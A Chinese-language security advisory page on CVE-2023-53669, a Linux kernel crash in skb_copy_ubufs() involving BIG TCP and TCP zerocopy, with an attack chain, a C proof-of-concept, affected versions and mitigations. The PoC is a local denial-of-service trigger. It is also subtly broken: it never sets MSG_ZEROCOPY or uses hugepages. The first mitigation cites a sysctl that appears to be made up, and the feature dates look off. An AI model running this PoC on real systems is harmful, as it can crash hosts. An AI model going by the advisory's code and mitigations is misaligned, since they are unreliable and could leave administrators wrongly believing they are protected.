IPBUF安全漏洞报告
English
CVE-2023-53669 CVSS 5.5 中危

CVE-2023-53669 Linux内核TCP skb_copy_ubufs缓冲区拷贝漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53669
漏洞类型
缓冲区溢出/内存管理缺陷
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelTCP缓冲区溢出内存管理BIG TCP零拷贝拒绝服务内核漏洞skb_copy_ubufs本地提权

漏洞概述

CVE-2023-53669是Linux内核TCP子系统中存在的一个内存管理漏洞。该漏洞位于skb_copy_ubufs()函数中,与BIG TCP特性存在兼容性问题。当TCP发送零拷贝(tx zerocopy)使用大页(hugepages)且skb长度超过约68KB时,skb_copy_ubufs()函数会发生崩溃。

该漏洞的根本原因在于skb_copy_ubufs()函数的设计假设存在缺陷。该函数原本假设可以使用最多MAX_SKB_FRAGS个order-0页面来复制所有负载数据。然而,当启用BIG TCP特性后,单个skb可以容纳高达512KB的数据,这远远超出了原有假设所能处理的范围。当数据量超过order-0页面所能承载的容量时,函数会因无法正确分配足够的内存而导致系统崩溃。

该漏洞由David Ahern发现并报告。在Google内部环境中,由于使用了CONFIG_MAX_SKB_FRAGS=45配置并将gso_max_size限制为180000,因此未触发此漏洞。该漏洞的CVSS评分为5.5,属于中危级别。虽然需要本地低权限访问才能触发,但由于可用性影响为高,攻击者仍可能利用此漏洞导致系统拒绝服务(DoS)。

技术细节

从技术层面分析,该漏洞涉及Linux内核网络栈中的内存管理机制。skb_copy_ubufs()函数负责在TCP零拷贝发送过程中复制用户态缓冲区数据到内核管理的skb(socket buffer)结构中。

在原始实现中,skb_copy_ubufs()使用MAX_SKB_FRAGS个order-0页面(每个页面4KB)来存储复制的数据。MAX_SKB_FRAGS默认值通常为17,因此理论上最多只能处理约68KB的数据(17 × 4KB)。

BIG TCP是Linux 5.16引入的特性,允许单个TCP skb承载更大的数据量,最高可达512KB。当使用TCP零拷贝发送且数据量超过68KB时,skb_copy_ubufs()尝试使用order-0页面分配内存,但分配的页面数量不足以容纳全部数据,导致内存越界访问或分配失败,最终引发系统崩溃。

漏洞利用条件包括:1)系统启用BIG TCP特性;2)使用TCP零拷贝发送(SO_ZEROCOPY);3)发送的数据包大小超过约68KB;4)使用大页(hugepages)内存。

修复方案v1使用更高阶(higher order)的页面分配来满足大skb的需求,但遗漏了__GFP_COMP标志位,导致内存泄漏。v2版本补充了__GFP_COMP标志,确保页面在释放时能够正确处理复合页(compound pages),避免了内存泄漏问题。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在启用BIG TCP特性的Linux系统上运行利用代码,系统需支持大页(hugepages)内存,且内核版本存在该漏洞。
STEP 2
步骤2:创建TCP套接字并启用零拷贝
创建TCP套接字,通过setsockopt设置SO_ZEROCOPY选项启用零拷贝传输功能。
STEP 3
步骤3:分配大缓冲区
分配超过68KB的页对齐缓冲区(如256KB),确保数据量超过MAX_SKB_FRAGS × PAGE_SIZE的限制。
STEP 4
步骤4:发送大数据包
通过send()系统调用发送大缓冲区数据,触发skb_copy_ubufs()函数调用。
STEP 5
步骤5:触发崩溃
skb_copy_ubufs()尝试使用order-0页面复制数据,但页面数量不足以容纳超过68KB的数据,导致系统崩溃或内核panic。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2023-53669 PoC - Linux Kernel TCP skb_copy_ubufs crash * Trigger condition: BIG TCP + SO_ZEROCOPY + hugepages + skb > ~68KB * * This PoC demonstrates how to trigger the vulnerability by sending * large data via TCP zerocopy on a system with BIG TCP enabled. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/tcp.h> #define BUFFER_SIZE (256 * 1024) // 256KB, exceeds ~68KB limit #define SERVER_PORT 9999 int main(int argc, char *argv[]) { int sockfd; struct sockaddr_in server_addr; char *buffer; int ret; // Allocate large buffer (must be page-aligned for zerocopy) ret = posix_memalign((void **)&buffer, 4096, BUFFER_SIZE); if (ret != 0) { perror("posix_memalign"); return -1; } // Fill buffer with data memset(buffer, 'A', BUFFER_SIZE); // Create TCP socket sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) { perror("socket"); free(buffer); return -1; } // Enable SO_ZEROCOPY for zero-copy transmission int zerocopy = 1; if (setsockopt(sockfd, SOL_SOCKET, SO_ZEROCOPY, &zerocopy, sizeof(zerocopy)) < 0) { perror("setsockopt SO_ZEROCOPY"); // Continue anyway - may still trigger on some configs } // Connect to server (requires a TCP listener on SERVER_PORT) memset(&server_addr, 0, sizeof(server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(SERVER_PORT); server_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) { perror("connect"); close(sockfd); free(buffer); return -1; } // Send large data via zerocopy - triggers skb_copy_ubufs() // with skb size > MAX_SKB_FRAGS * PAGE_SIZE (~68KB) ssize_t sent = send(sockfd, buffer, BUFFER_SIZE, 0); if (sent < 0) { perror("send"); } else { printf("Sent %zd bytes via zerocopy\n", sent); } close(sockfd); free(buffer); return 0; }

影响范围

Linux Kernel < 6.6(受BIG TCP特性影响的版本)
Linux Kernel 6.1.x(需检查具体补丁版本)
Linux Kernel 6.2.x(需检查具体补丁版本)
Linux Kernel 6.3.x(需检查具体补丁版本)
Linux Kernel 6.4.x(需检查具体补丁版本)
Linux Kernel 6.5.x(需检查具体补丁版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下临时措施缓解风险:1)通过sysctl禁用BIG TCP特性(net.ipv4.tcp_window_scaling_uscale=0);2)将gso_max_size限制为180000字节以内;3)通过seccomp或应用程序配置禁用SO_ZEROCOPY选项;4)限制非特权用户使用大页内存(hugepages)。这些措施可以降低漏洞被触发的概率,但建议尽快升级到修复版本以彻底解决问题。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表